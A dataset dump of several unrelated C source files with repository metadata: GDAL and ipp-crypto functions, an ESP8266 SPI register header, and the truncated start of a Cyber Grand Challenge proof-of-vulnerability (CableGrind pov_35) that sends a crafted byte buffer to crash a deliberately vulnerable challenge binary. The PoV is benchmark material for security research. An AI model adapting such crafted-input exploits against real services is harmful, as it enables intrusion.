szBuf[nOffset++] = ' ';
memcpy(&nVal, pData + i * sizeof(nVal), sizeof(nVal));
ret = snprintf(szBuf + nOffset, nBufLen -nOffset,"%d",
CPL_MSBWORD32(nVal));
if( ret < 0 || ret >= (int)nBufLen -nOffset )
return CE_Failure;
nOffset += ret;
}
break;
case EDT_UInt32:
for (i = 0; i < pField->nCount; ++i)
{
GUInt32 nVal;
if (i > 0)
szBuf[nOffset++] = ' ';
memcpy(&nVal, pData + i * sizeof(nVal), sizeof(nVal));
ret = snprintf(szBuf + nOffset, nBufLen -nOffset,"%u",
CPL_MSBWORD32(nVal));
if( ret < 0 || ret >= (int)nBufLen -nOffset )
return CE_Failure;
nOffset += ret;
}
break;
case EDT_Float32:
for (i = 0; i < pField->nCount; ++i)
{
float fValue;
memcpy(&fValue, pData + i * sizeof(fValue), sizeof(fValue));
#ifdef CPL_LSB
CPL_SWAP32PTR( &fValue );
#endif
if (i > 0)
szBuf[nOffset++] = ' ';
ret = CPLsnprintf(szBuf + nOffset, nBufLen -nOffset,"%f", fValue);
if( ret < 0 || ret >= (int)nBufLen -nOffset )
return CE_Failure;
nOffset += ret;
}
break;
case EDT_Float64:
for (i = 0; i < pField->nCount; ++i)
{
double dfValue;
memcpy(&dfValue, pData + i * sizeof(dfValue), sizeof(dfValue));
#ifdef CPL_LSB
CPL_SWAPDOUBLE( &dfValue );
#endif
if (i > 0)
szBuf[nOffset++] = ' ';
ret = CPLsnprintf(szBuf + nOffset, nBufLen -nOffset,"%f", dfValue);
if( ret < 0 || ret >= (int)nBufLen -nOffset )
return CE_Failure;
nOffset += ret;
}
break;
/*
case EDT_CInt16:
for (i = 0; i < pField->nCount; ++i)
{
if (i > 0)
szBuf[nOffset++] = ' ';
nOffset += sprintf(szBuf + nOffset, "(%d, %d)",
CPL_MSBWORD16(((const GInt16*)pData)[2 * i]),
CPL_MSBWORD16(((const GInt16*)pData)[2 * i+1]));
}
break;
case EDT_CInt32:
for (i = 0; i < pField->nCount; ++i)
{
if (i > 0)
szBuf[nOffset++] = ' ';
nOffset += sprintf(szBuf + nOffset, "(%d, %d)",
CPL_MSBWORD32(((const GInt32*)pData)[2 * i]),
CPL_MSBWORD32(((const GInt32*)pData)[2 * i+1]));
}
break;
case EDT_CFloat32:
for (i = 0; i < pField->nCount; ++i)
{
float fReal = ((const float*)pData)[2 * i];
float fImag = ((const float*)pData)[2 * i + 1];
#ifdef CPL_LSB
CPL_SWAP32PTR( &fReal );
CPL_SWAP32PTR( &fImag );
#endif
if (i > 0)
szBuf[nOffset++] = ' ';
nOffset += CPLsprintf(szBuf + nOffset, "(%f, %f)", fReal, fImag);
}
break;
case EDT_CFloat64:
for (i = 0; i < pField->nCount; ++i)
{
double dfReal = ((const double*)pData)[2 * i];
double dfImag = ((const double*)pData)[2 * i + 1];
#ifdef CPL_LSB
CPL_SWAPDOUBLE( &dfReal );
CPL_SWAPDOUBLE( &dfImag );
#endif
if (i > 0)
szBuf[nOffset++] = ' ';
nOffset += CPLsprintf(szBuf + nOffset, "(%f, %f)", dfReal, dfImag);
}
break;
*/
case EDT_MJD:
CPLAssert(pField->nCount == 1);
{
GInt32 days;
GUInt32 seconds, microseconds;
days = CPL_MSBWORD32(((const GInt32*)pData)[0]);
seconds = CPL_MSBWORD32(((const GUInt32*)pData)[1]);
microseconds = CPL_MSBWORD32(((const GUInt32*)pData)[2]);
ret = snprintf(szBuf, nBufLen, "%d, %u, %u", days, seconds, microseconds);
if( ret < 0 || ret >= (int)nBufLen )
return CE_Failure;
}
break;
default:
CPLDebug( "EnvisatDataset",
"Unabe to convert '%s' field to string: "
"unexpected data type '%d'.",
pField->szName, pField->eType );
return CE_Failure;
}
return CE_None;
}
|
92003c4e5951bca28fe2fa10c192c2c1c0566937
|
50e95229b9a1161ac294137120aaba94c9eb06bc
|
/sources/ippcp/pcpeccresultca.c
|
69f84340b906b5d15943dfdc6e3d20fc8d58f1d8
|
[
"Apache-2.0",
"Intel"
] |
permissive
|
intel/ipp-crypto
|
f0f05b87203705e82603db67bed5f8def13a5ee8
|
36e76e2388f3dd10cc440e213dfcf6ef59a0dfb8
|
refs/heads/develop
| 2023-09-04T08:15:06.851373
| 2023-07-27T12:47:12
| 2023-07-27T12:47:12
| 140,034,345
| 304
| 81
|
Apache-2.0
| 2023-08-30T17:18:36
| 2018-07-06T22:16:28
|
C
|
UTF-8
|
C
| false
| false
| 2,515
|
c
|
pcpeccresultca.c
|
/*******************************************************************************
* Copyright (C) 2003 Intel Corporation
*
* Licensed under the Apache License, Version 2.0 (the 'License');
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an 'AS IS' BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions
* and limitations under the License.
*
*******************************************************************************/
/*
//
// Purpose:
// Cryptography Primitive.
// ECC operation results
//
// Contents:
// ippsECCGetResultString()
//
//
*/
#include "owndefs.h"
#include "owncp.h"
/*F*
// Name: ippsECCGetResultString
//
// Purpose: Returns the string corresponding to code
// that represents the result of validation
//
// Parameters:
// code The code of the validation result
//
*F*/
IPPFUN( const char*, ippsECCGetResultString, (IppECResult code))
{
switch(code) {
case ippECValid: return "Validation pass successfully";
case ippECCompositeBase: return "Finite Field produced by Composite";
case ippECComplicatedBase: return "Too much non-zero terms in the polynomial";
case ippECIsZeroDiscriminant: return "Zero discriminamt";
case ippECCompositeOrder: return "Composite Base Point order";
case ippECInvalidOrder: return "Invalid Base Point order";
case ippECIsWeakMOV: return "EC cover by MOV Reduction Test";
case ippECIsWeakSSSA: return "EC cover by SS-SA Reduction Test";
case ippECIsSupersingular: return "EC is supersingular curve";
case ippECInvalidPrivateKey: return "Invalid Private Key";
case ippECInvalidPublicKey: return "Invalid Public Key";
case ippECInvalidKeyPair: return "Invalid Key Pair";
case ippECPointOutOfGroup: return "Point is out of group";
case ippECPointIsAtInfinite: return "Point at Infinity";
case ippECPointIsNotValid: return "Invalid EC Point";
case ippECPointIsEqual: return "Points are equal";
case ippECPointIsNotEqual: return "Points are different";
case ippECInvalidSignature: return "Invalid Signature";
default: return "Unknown ECC result";
}
}
|
0e8565a3f56287bc994792d45955519982b62fde
|
e910318d01528d82040507a49eeeb8dade45b31f
|
/ports/esp8266/hspi_register.h
|
50ef2fdca3e1941f46e75273175e3f6cff3db42c
|
[
"MIT"
] |
permissive
|
pfalcon/pycopy
|
e844480a5e5cd463530328889daed2ba87552b8a
|
3ac90ae9c3c6bbebfba9cada2d37025e35c62796
|
refs/heads/pfalcon
| 2023-08-30T09:39:52.290147
| 2022-09-08T16:42:38
| 2022-09-08T16:42:38
| 15,507,576
| 753
| 71
|
MIT
| 2021-05-08T04:59:21
| 2013-12-29T11:38:47
|
C
|
UTF-8
|
C
| false
| false
| 11,527
|
h
|
hspi_register.h
|
/*
* Copyright (c) 2010 - 2011 Espressif System
* Modified by David Ogilvy (MetalPhreak)
* Based on original file included in SDK 1.0.0
*
* Missing defines from previous SDK versions have
* been added and are noted with comments. The
* names of these defines are likely to change.
*/
// *FORMAT-OFF*
#ifndef SPI_REGISTER_H_INCLUDED
#define SPI_REGISTER_H_INCLUDED
#define REG_SPI_BASE(i) (0x60000200-i*0x100)
#define SPI_CMD(i) (REG_SPI_BASE(i) + 0x0)
#define SPI_FLASH_READ (BIT(31)) //From previous SDK
#define SPI_FLASH_WREN (BIT(30)) //From previous SDK
#define SPI_FLASH_WRDI (BIT(29)) //From previous SDK
#define SPI_FLASH_RDID (BIT(28)) //From previous SDK
#define SPI_FLASH_RDSR (BIT(27)) //From previous SDK
#define SPI_FLASH_WRSR (BIT(26)) //From previous SDK
#define SPI_FLASH_PP (BIT(25)) //From previous SDK
#define SPI_FLASH_SE (BIT(24)) //From previous SDK
#define SPI_FLASH_BE (BIT(23)) //From previous SDK
#define SPI_FLASH_CE (BIT(22)) //From previous SDK
#define SPI_FLASH_DP (BIT(21)) //From previous SDK
#define SPI_FLASH_RES (BIT(20)) //From previous SDK
#define SPI_FLASH_HPM (BIT(19)) //From previous SDK
#define SPI_USR (BIT(18))
#define SPI_ADDR(i) (REG_SPI_BASE(i) + 0x4)
#define SPI_CTRL(i) (REG_SPI_BASE(i) + 0x8)
#define SPI_WR_BIT_ORDER (BIT(26))
#define SPI_RD_BIT_ORDER (BIT(25))
#define SPI_QIO_MODE (BIT(24))
#define SPI_DIO_MODE (BIT(23))
#define SPI_TWO_BYTE_STATUS_EN (BIT(22)) //From previous SDK
#define SPI_WP_REG (BIT(21)) //From previous SDK
#define SPI_QOUT_MODE (BIT(20))
#define SPI_SHARE_BUS (BIT(19)) //From previous SDK
#define SPI_HOLD_MODE (BIT(18)) //From previous SDK
#define SPI_ENABLE_AHB (BIT(17)) //From previous SDK
#define SPI_SST_AAI (BIT(16)) //From previous SDK
#define SPI_RESANDRES (BIT(15)) //From previous SDK
#define SPI_DOUT_MODE (BIT(14))
#define SPI_FASTRD_MODE (BIT(13))
#define SPI_CTRL1(i) (REG_SPI_BASE (i) + 0xC) //From previous SDK. Removed _FLASH_ from name to match other registers.
#define SPI_CS_HOLD_DELAY 0x0000000F //Espressif BBS
#define SPI_CS_HOLD_DELAY_S 28 //Espressif BBS
#define SPI_CS_HOLD_DELAY_RES 0x00000FFF //Espressif BBS
#define SPI_CS_HOLD_DELAY_RES_S 16 //Espressif BBS
#define SPI_BUS_TIMER_LIMIT 0x0000FFFF //From previous SDK
#define SPI_BUS_TIMER_LIMIT_S 0 //From previous SDK
#define SPI_RD_STATUS(i) (REG_SPI_BASE(i) + 0x10)
#define SPI_STATUS_EXT 0x000000FF //From previous SDK
#define SPI_STATUS_EXT_S 24 //From previous SDK
#define SPI_WB_MODE 0x000000FF //From previous SDK
#define SPI_WB_MODE_S 16 //From previous SDK
#define SPI_FLASH_STATUS_PRO_FLAG (BIT(7)) //From previous SDK
#define SPI_FLASH_TOP_BOT_PRO_FLAG (BIT(5)) //From previous SDK
#define SPI_FLASH_BP2 (BIT(4)) //From previous SDK
#define SPI_FLASH_BP1 (BIT(3)) //From previous SDK
#define SPI_FLASH_BP0 (BIT(2)) //From previous SDK
#define SPI_FLASH_WRENABLE_FLAG (BIT(1)) //From previous SDK
#define SPI_FLASH_BUSY_FLAG (BIT(0)) //From previous SDK
#define SPI_CTRL2(i) (REG_SPI_BASE(i) + 0x14)
#define SPI_CS_DELAY_NUM 0x0000000F
#define SPI_CS_DELAY_NUM_S 28
#define SPI_CS_DELAY_MODE 0x00000003
#define SPI_CS_DELAY_MODE_S 26
#define SPI_MOSI_DELAY_NUM 0x00000007
#define SPI_MOSI_DELAY_NUM_S 23
#define SPI_MOSI_DELAY_MODE 0x00000003 //mode 0 : posedge; data set at positive edge of clk
//mode 1 : negedge + 1 cycle delay, only if freq<10MHz ; data set at negitive edge of clk
//mode 2 : Do not use this mode.
#define SPI_MOSI_DELAY_MODE_S 21
#define SPI_MISO_DELAY_NUM 0x00000007
#define SPI_MISO_DELAY_NUM_S 18
#define SPI_MISO_DELAY_MODE 0x00000003
#define SPI_MISO_DELAY_MODE_S 16
#define SPI_CK_OUT_HIGH_MODE 0x0000000F
#define SPI_CK_OUT_HIGH_MODE_S 12
#define SPI_CK_OUT_LOW_MODE 0x0000000F
#define SPI_CK_OUT_LOW_MODE_S 8
#define SPI_HOLD_TIME 0x0000000F
#define SPI_HOLD_TIME_S 4
#define SPI_SETUP_TIME 0x0000000F
#define SPI_SETUP_TIME_S 0
#define SPI_CLOCK(i) (REG_SPI_BASE(i) + 0x18)
#define SPI_CLK_EQU_SYSCLK (BIT(31))
#define SPI_CLKDIV_PRE 0x00001FFF
#define SPI_CLKDIV_PRE_S 18
#define SPI_CLKCNT_N 0x0000003F
#define SPI_CLKCNT_N_S 12
#define SPI_CLKCNT_H 0x0000003F
#define SPI_CLKCNT_H_S 6
#define SPI_CLKCNT_L 0x0000003F
#define SPI_CLKCNT_L_S 0
#define SPI_USER(i) (REG_SPI_BASE(i) + 0x1C)
#define SPI_USR_COMMAND (BIT(31))
#define SPI_USR_ADDR (BIT(30))
#define SPI_USR_DUMMY (BIT(29))
#define SPI_USR_MISO (BIT(28))
#define SPI_USR_MOSI (BIT(27))
#define SPI_USR_DUMMY_IDLE (BIT(26)) //From previous SDK
#define SPI_USR_MOSI_HIGHPART (BIT(25))
#define SPI_USR_MISO_HIGHPART (BIT(24))
#define SPI_USR_PREP_HOLD (BIT(23)) //From previous SDK
#define SPI_USR_CMD_HOLD (BIT(22)) //From previous SDK
#define SPI_USR_ADDR_HOLD (BIT(21)) //From previous SDK
#define SPI_USR_DUMMY_HOLD (BIT(20)) //From previous SDK
#define SPI_USR_DIN_HOLD (BIT(19)) //From previous SDK
#define SPI_USR_DOUT_HOLD (BIT(18)) //From previous SDK
#define SPI_USR_HOLD_POL (BIT(17)) //From previous SDK
#define SPI_SIO (BIT(16))
#define SPI_FWRITE_QIO (BIT(15))
#define SPI_FWRITE_DIO (BIT(14))
#define SPI_FWRITE_QUAD (BIT(13))
#define SPI_FWRITE_DUAL (BIT(12))
#define SPI_WR_BYTE_ORDER (BIT(11))
#define SPI_RD_BYTE_ORDER (BIT(10))
#define SPI_AHB_ENDIAN_MODE 0x00000003 //From previous SDK
#define SPI_AHB_ENDIAN_MODE_S 8 //From previous SDK
#define SPI_CK_OUT_EDGE (BIT(7))
#define SPI_CK_I_EDGE (BIT(6))
#define SPI_CS_SETUP (BIT(5))
#define SPI_CS_HOLD (BIT(4))
#define SPI_AHB_USR_COMMAND (BIT(3)) //From previous SDK
#define SPI_FLASH_MODE (BIT(2))
#define SPI_AHB_USR_COMMAND_4BYTE (BIT(1)) //From previous SDK
#define SPI_DOUTDIN (BIT(0)) //From previous SDK
//AHB = http://en.wikipedia.org/wiki/Advanced_Microcontroller_Bus_Architecture ?
#define SPI_USER1(i) (REG_SPI_BASE(i) + 0x20)
#define SPI_USR_ADDR_BITLEN 0x0000003F
#define SPI_USR_ADDR_BITLEN_S 26
#define SPI_USR_MOSI_BITLEN 0x000001FF
#define SPI_USR_MOSI_BITLEN_S 17
#define SPI_USR_MISO_BITLEN 0x000001FF
#define SPI_USR_MISO_BITLEN_S 8
#define SPI_USR_DUMMY_CYCLELEN 0x000000FF
#define SPI_USR_DUMMY_CYCLELEN_S 0
#define SPI_USER2(i) (REG_SPI_BASE(i) + 0x24)
#define SPI_USR_COMMAND_BITLEN 0x0000000F
#define SPI_USR_COMMAND_BITLEN_S 28
#define SPI_USR_COMMAND_VALUE 0x0000FFFF
#define SPI_USR_COMMAND_VALUE_S 0
#define SPI_WR_STATUS(i) (REG_SPI_BASE(i) + 0x28)
//previously defined as SPI_FLASH_USER3. No further info available.
#define SPI_PIN(i) (REG_SPI_BASE(i) + 0x2C)
#define SPI_IDLE_EDGE (BIT(29))
#define SPI_CS2_DIS (BIT(2))
#define SPI_CS1_DIS (BIT(1))
#define SPI_CS0_DIS (BIT(0))
#define SPI_SLAVE(i) (REG_SPI_BASE(i) + 0x30)
#define SPI_SYNC_RESET (BIT(31))
#define SPI_SLAVE_MODE (BIT(30))
#define SPI_SLV_WR_RD_BUF_EN (BIT(29))
#define SPI_SLV_WR_RD_STA_EN (BIT(28))
#define SPI_SLV_CMD_DEFINE (BIT(27))
#define SPI_TRANS_CNT 0x0000000F
#define SPI_TRANS_CNT_S 23
#define SPI_SLV_LAST_STATE 0x00000007 //From previous SDK
#define SPI_SLV_LAST_STATE_S 20 //From previous SDK
#define SPI_SLV_LAST_COMMAND 0x00000007 //From previous SDK
#define SPI_SLV_LAST_COMMAND_S 17 //From previous SDK
#define SPI_CS_I_MODE 0x00000003 //From previous SDK
#define SPI_CS_I_MODE_S 10 //From previous SDK
#define SPI_TRANS_DONE_EN (BIT(9))
#define SPI_SLV_WR_STA_DONE_EN (BIT(8))
#define SPI_SLV_RD_STA_DONE_EN (BIT(7))
#define SPI_SLV_WR_BUF_DONE_EN (BIT(6))
#define SPI_SLV_RD_BUF_DONE_EN (BIT(5))
#define SLV_SPI_INT_EN 0x0000001f
#define SLV_SPI_INT_EN_S 5
#define SPI_TRANS_DONE (BIT(4))
#define SPI_SLV_WR_STA_DONE (BIT(3))
#define SPI_SLV_RD_STA_DONE (BIT(2))
#define SPI_SLV_WR_BUF_DONE (BIT(1))
#define SPI_SLV_RD_BUF_DONE (BIT(0))
#define SPI_SLAVE1(i) (REG_SPI_BASE(i) + 0x34)
#define SPI_SLV_STATUS_BITLEN 0x0000001F
#define SPI_SLV_STATUS_BITLEN_S 27
#define SPI_SLV_STATUS_FAST_EN (BIT(26)) //From previous SDK
#define SPI_SLV_STATUS_READBACK (BIT(25)) //From previous SDK
#define SPI_SLV_BUF_BITLEN 0x000001FF
#define SPI_SLV_BUF_BITLEN_S 16
#define SPI_SLV_RD_ADDR_BITLEN 0x0000003F
#define SPI_SLV_RD_ADDR_BITLEN_S 10
#define SPI_SLV_WR_ADDR_BITLEN 0x0000003F
#define SPI_SLV_WR_ADDR_BITLEN_S 4
#define SPI_SLV_WRSTA_DUMMY_EN (BIT(3))
#define SPI_SLV_RDSTA_DUMMY_EN (BIT(2))
#define SPI_SLV_WRBUF_DUMMY_EN (BIT(1))
#define SPI_SLV_RDBUF_DUMMY_EN (BIT(0))
#define SPI_SLAVE2(i) (REG_SPI_BASE(i) + 0x38)
#define SPI_SLV_WRBUF_DUMMY_CYCLELEN 0X000000FF
#define SPI_SLV_WRBUF_DUMMY_CYCLELEN_S 24
#define SPI_SLV_RDBUF_DUMMY_CYCLELEN 0X000000FF
#define SPI_SLV_RDBUF_DUMMY_CYCLELEN_S 16
#define SPI_SLV_WRSTR_DUMMY_CYCLELEN 0X000000FF
#define SPI_SLV_WRSTR_DUMMY_CYCLELEN_S 8
#define SPI_SLV_RDSTR_DUMMY_CYCLELEN 0x000000FF
#define SPI_SLV_RDSTR_DUMMY_CYCLELEN_S 0
#define SPI_SLAVE3(i) (REG_SPI_BASE(i) + 0x3C)
#define SPI_SLV_WRSTA_CMD_VALUE 0x000000FF
#define SPI_SLV_WRSTA_CMD_VALUE_S 24
#define SPI_SLV_RDSTA_CMD_VALUE 0x000000FF
#define SPI_SLV_RDSTA_CMD_VALUE_S 16
#define SPI_SLV_WRBUF_CMD_VALUE 0x000000FF
#define SPI_SLV_WRBUF_CMD_VALUE_S 8
#define SPI_SLV_RDBUF_CMD_VALUE 0x000000FF
#define SPI_SLV_RDBUF_CMD_VALUE_S 0
//Previous SDKs referred to these following registers as SPI_C0 etc.
#define SPI_W0(i) (REG_SPI_BASE(i) +0x40)
#define SPI_W1(i) (REG_SPI_BASE(i) +0x44)
#define SPI_W2(i) (REG_SPI_BASE(i) +0x48)
#define SPI_W3(i) (REG_SPI_BASE(i) +0x4C)
#define SPI_W4(i) (REG_SPI_BASE(i) +0x50)
#define SPI_W5(i) (REG_SPI_BASE(i) +0x54)
#define SPI_W6(i) (REG_SPI_BASE(i) +0x58)
#define SPI_W7(i) (REG_SPI_BASE(i) +0x5C)
#define SPI_W8(i) (REG_SPI_BASE(i) +0x60)
#define SPI_W9(i) (REG_SPI_BASE(i) +0x64)
#define SPI_W10(i) (REG_SPI_BASE(i) +0x68)
#define SPI_W11(i) (REG_SPI_BASE(i) +0x6C)
#define SPI_W12(i) (REG_SPI_BASE(i) +0x70)
#define SPI_W13(i) (REG_SPI_BASE(i) +0x74)
#define SPI_W14(i) (REG_SPI_BASE(i) +0x78)
#define SPI_W15(i) (REG_SPI_BASE(i) +0x7C)
// +0x80 to +0xBC could be SPI_W16 through SPI_W31?
// +0xC0 to +0xEC not currently defined.
#define SPI_EXT0(i) (REG_SPI_BASE(i) + 0xF0) //From previous SDK. Removed _FLASH_ from name to match other registers.
#define SPI_T_PP_ENA (BIT(31)) //From previous SDK
#define SPI_T_PP_SHIFT 0x0000000F //From previous SDK
#define SPI_T_PP_SHIFT_S 16 //From previous SDK
#define SPI_T_PP_TIME 0x00000FFF //From previous SDK
#define SPI_T_PP_TIME_S 0 //From previous SDK
#define SPI_EXT1(i) (REG_SPI_BASE(i) + 0xF4) //From previous SDK. Removed _FLASH_ from name to match other registers.
#define SPI_T_ERASE_ENA (BIT(31)) //From previous SDK
#define SPI_T_ERASE_SHIFT 0x0000000F //From previous SDK
#define SPI_T_ERASE_SHIFT_S 16 //From previous SDK
#define SPI_T_ERASE_TIME 0x00000FFF //From previous SDK
#define SPI_T_ERASE_TIME_S 0 //From previous SDK
#define SPI_EXT2(i) (REG_SPI_BASE(i) + 0xF8) //From previous SDK. Removed _FLASH_ from name to match other registers.
#define SPI_ST 0x00000007 //From previous SDK
#define SPI_ST_S 0 //From previous SDK
#define SPI_EXT3(i) (REG_SPI_BASE(i) + 0xFC)
#define SPI_INT_HOLD_ENA 0x00000003
#define SPI_INT_HOLD_ENA_S 0
#endif // SPI_REGISTER_H_INCLUDED
|
f0f71e2363cd92f23951e0c8eec5c7c65dec53c7
|
59864cbd213b5da6f50d6255b0a021564b3d5bd4
|
/challenges/CableGrind/pov_35/pov.c
|
c1348d9237d8b696c4eae3baf705603bc955b94c
|
[
"MIT",
"BSD-3-Clause",
"LicenseRef-scancode-unknown",
"BSD-2-Clause"
] |
permissive
|
trailofbits/cb-multios
|
8af96a4fbc3b34644367faa135347f88e0e0d0a3
|
810d7b24b1f62f56ef49b148fe155b0d0629cad2
|
refs/heads/master
| 2023-09-05T03:56:20.229403
| 2022-12-27T15:47:54
| 2022-12-27T15:47:54
| 41,688,943
| 522
| 133
|
MIT
| 2023-06-29T02:47:13
| 2015-08-31T17:04:31
|
C
|
UTF-8
|
C
| false
| false
| 13,015
|
c
|
pov.c
|
#include "libpov.h"
int main(int cgc_argc, char *cgc_argv[]) {
cgc_negotiate_type1(0x0, 0x0, 0);
do {
//*** writing data
static unsigned char write_00000_00000[] =
"\x04\x04\x00\x00";
static unsigned int write_00000_00000_len = 4;
unsigned char *write_00000 = NULL;
unsigned int write_00000_len = 0;
write_00000 = cgc_append_buf(write_00000, &write_00000_len, write_00000_00000, write_00000_00000_len);
if (write_00000_len > 0) {
cgc_transmit_all(1, write_00000, write_00000_len);
}
cgc_free(write_00000);
} while (0);
do {
//*** writing data
static unsigned char write_00001_00000[] =
"\x01\x00\x00\x00\x00\x00\x00\x00\xf0\x03\x00\x00\xe8\x03\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\xb6\x53\xce\xdb"
"\x5c\x96\xa5\x1a\x48\xef\x20\xfe\xd4\x71\x77\x3b\xc0\xe6\x3b\xb6"
"\xce\x00\x00\x00\x04\x9f\xbc\x7a\xb9\x29\xb2\xb9\xf4\x4c\x65\xdc"
"\xb1\xa2\x00\x29\x5f\xc2\x45\x22\x7e\xd1\xe7\xaf\x1d\xe5\x2b\xc2"
"\x5b\x82\x09\x2d\x54\x3b\x63\x2c\xec\xc0\xfe\x1b\x5b\x1e\x24\x1f"
"\x34\x59\x39\xe5\x84\x1b\xb3\x0d\xbd\x64\x37\xb8\x07\xca\xe2\x3f"
"\xad\x98\x09\x54\x42\x07\x50\x90\x2b\x43\xb4\x7a\xc2\x73\x62\x28"
"\x3a\xf4\xa2\xc9\x23\x2c\x64\x6d\xf8\xb3\x51\xbb\x86\xc7\x8e\x07"
"\x38\xac\x4c\xd2\x88\x1b\x4d\x23\xeb\xef\x98\x32\xaa\x9f\xa8\xfd"
"\x71\x6d\xc7\xea\xbd\xcb\xb5\x9d\x56\x7c\xae\x52\x4d\x53\x01\xd9"
"\x3e\xe5\xe7\x90\x5f\x6f\x3d\x15\x50\xdb\x7c\x41\x46\x34\xf1\x78"
"\x26\x0b\xb2\x91\x27\x21\x19\x0e\x5c\xea\xea\x25\x5a\x6e\xd1\xeb"
"\x23\x41\xd7\xc7\x24\xe7\x4f\xb6\xb3\x0d\xce\x31\x69\x12\xfd\x7c"
"\x66\xe7\xc9\xa6\xee\x8a\x02\x2f\x80\x77\xf4\x01\x46\xc3\x5c\xfa"
"\x39\xa6\xce\x8a\x79\x69\x1d\x88\xcd\x6d\xac\x7b\xa9\x54\xc8\x5a"
"\x2e\xff\x63\x00\x7e\xaf\x8e\xa3\xda\x51\x11\xfc\x6d\x83\xc9\x63"
"\x5d\x8c\x86\xe8\x2e\x56\x81\x9b\x03\x28\xbc\xe1\x4e\x4c\x94\xf2"
"\xea\xe0\x4e\x56\x83\x36\x07\xc3\x9a\x4e\x49\xdb\xb5\x15\x85\xf9"
"\x51\x44\x44\x59\x92\xd7\xfe\xce\x7a\x50\x43\x16\xee\x9e\xed\xaf"
"\x60\x91\x71\x53\x45\x58\xcd\xd2\xf2\xe4\xca\x04\xbc\x9d\xa7\xe3"
"\x98\x0f\x16\x09\xf8\x18\xf9\xdc\x29\xbf\x6a\x71\x6b\x8e\xc0\x96"
"\xa5\x5f\x2b\x60\x29\x00\xb3\x2b\x10\x13\xcf\x2f\xd3\x7f\x84\x19"
"\xd2\xc1\xf3\x1e\x13\xe0\x96\x7f\x2c\x92\x85\xb9\x53\x62\xcf\xba"
"\x1e\x0a\x54\x66\xf4\xc6\xe2\x45\xfe\x10\x12\x20\xd2\x3f\x00\x07"
"\x3b\xee\xb1\x4b\xd6\x9b\x2e\x79\x90\x18\xeb\x09\x9d\x63\xa8\x23"
"\x82\xf7\x3c\xef\xba\x56\x77\xbc\xb1\xd8\x84\x01\xf5\xcb\x21\x4f"
"\xda\xc6\x7e\x23\x4a\xd9\xfd\xd6\x04\xf2\x1a\xfb\x05\x7f\xfe\x65"
"\x87\xcb\x24\x02\x54\x47\xa7\x3a\x61\x5a\x6c\x84\x17\xf2\xd3\xd3"
"\x9a\x4a\xb6\x29\x88\xdb\x8e\x65\x85\x8a\x5d\x79\x0b\xfb\x86\x38"
"\x92\x7b\xdf\xcb\x17\x51\x16\xbf\xfb\xb8\x7b\x87\x18\xca\x99\xb7"
"\x62\x2e\x34\x40\x3d\x47\x2a\xcc\x45\xb7\xbb\xa2\xc8\xb2\x21\xf8"
"\xc6\xcb\x00\x91\x97\xaf\x64\x8c\x79\xfe\x5e\x14\x97\xb6\xb3\x9b"
"\x41\xae\x75\x8d\x34\x0c\x3e\x81\x52\xd5\xa6\x58\x98\x0d\xc7\xac"
"\xc4\x3d\xb1\xf0\x53\x34\x3d\x9c\x49\x26\x45\x33\xe4\x81\x21\xa8"
"\x2b\x11\x0a\x5f\x04\xef\x28\xe4\x2a\xa4\xaa\x9a\xb8\x19\xf5\x88"
"\xea\x76\x46\xe9\x82\x22\xbe\x05\xd5\x6a\xe9\xef\x49\xcc\xae\xb4"
"\x5b\x55\x04\x27\xea\x05\xe1\xbb\xca\x91\xda\x71\x7e\x56\xce\x00"
"\xca\x24\xaf\x80\x8e\x98\x16\xef\x89\xaf\x1e\x24\x7f\x78\xc1\x72"
"\xd0\x9b\x3d\xdb\x97\xcf\x7f\x60\x62\x2a\x20\x36\xaf\xe8\xb3\x2f"
"\x98\x65\x07\x71\x1a\x58\xdd\xbf\xe2\x7e\xf3\xf5\x21\x0f\xbf\x7b"
"\x99\x25\x63\x2c\x65\x09\x44\xca\x5b\x32\x06\x9a\xe0\xb2\xa2\x24"
"\x87\xe5\x08\x98\x7a\xef\x95\xc2\x58\xfc\xbd\x65\xea\x58\x58\xfb"
"\x09\x2e\x04\x04\x00\x04\x83\x25\xdf\x93\xf3\x75\xe5\x8b\x90\x56"
"\xfc\x95\x08\xec\x04\xd5\x94\xdd\x97\xf5\xec\x1d\xd8\x36\x56\x02"
"\x91\xbe\x7f\x92\x4a\xd0\x55\x33\x5a\x37\xdf\x50\x8c\xd8\xc6\x87"
"\x74\x06\x72\x10\x26\x33\xbf\x6d\xca\x92\xba\xb9\x51\x18\x60\x73"
"\x55\x47\xce\x00\xc1\xe3\xc9\x44\xb6\x19\x68\x00\x2f\x06\xf7\xa0"
"\x9e\xd9\xb4\xd1\x4f\x9c\x4e\xd7\xca\x95\xa7\x8f\x60\x1d\xfb\x4a"
"\x82\xd5\x3b\xa8\x5c\x8e\xdb\x51\x8d\x35\xe9\x16\x61\x4d\x62\xb6"
"\x8a\xf2\x61\x18\xe4\x12\x99\x9a\xd1\x10\xe7\xa5\x33\x36\x13\xa1"
"\xa7\xe4\x34\xa5\x3d\x3f\x6c\x4f\xf6\x1a\x99\x5f\xaa\x6d\x59\x98"
"\xcf\x0f\x98\x10\x9e\x0b\x3d\xbe\x30\x5b\x76\xfc\xb6\x95\x6b\x5a"
"\x99\x63\xf8\x83\x8d\x00\x9c\xdc\x11\xac\x0f\xf8\x2f\xb6\xee\x2c"
"\xe3\xbe\xa1\x35\x41\x82\xf1\x79\xb1\xb7\xdd\x0b\x36\x5f\x55\x14"
"\xcc\xff\xcb\xa4\x86\x95\x25\x99\xee\x96\xb8\xea\x37\x64\xe0\xa2"
"\x03\x99\xa1\x5d\x6e\x7c\x92\xc6\x82\x95\x34\x73\x3a\xf6\x88\x6a"
"\x39\xbf\x78\x86\x67\x6e\xc4\x63\x22\x45\x3d\x86\x77\xa2\xa7\x96"
"\x8b\x4e\x9e\x56\xd6\x1d\xdc\xfe\xc5\xe9\x07\x19\x45\x5c\xaf\xd7"
"\x0e\xda\x44\xc9\xd4\xac\xb1\x0c\xf6\x59\x81\x88\xac\x41\x33\xcf"
"\xd9\x58\x08\x66\x03\x1f\x3d\x6e\x55\xaf\x59\x21\x5a\xae\x98\x80"
"\x84\x3b\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
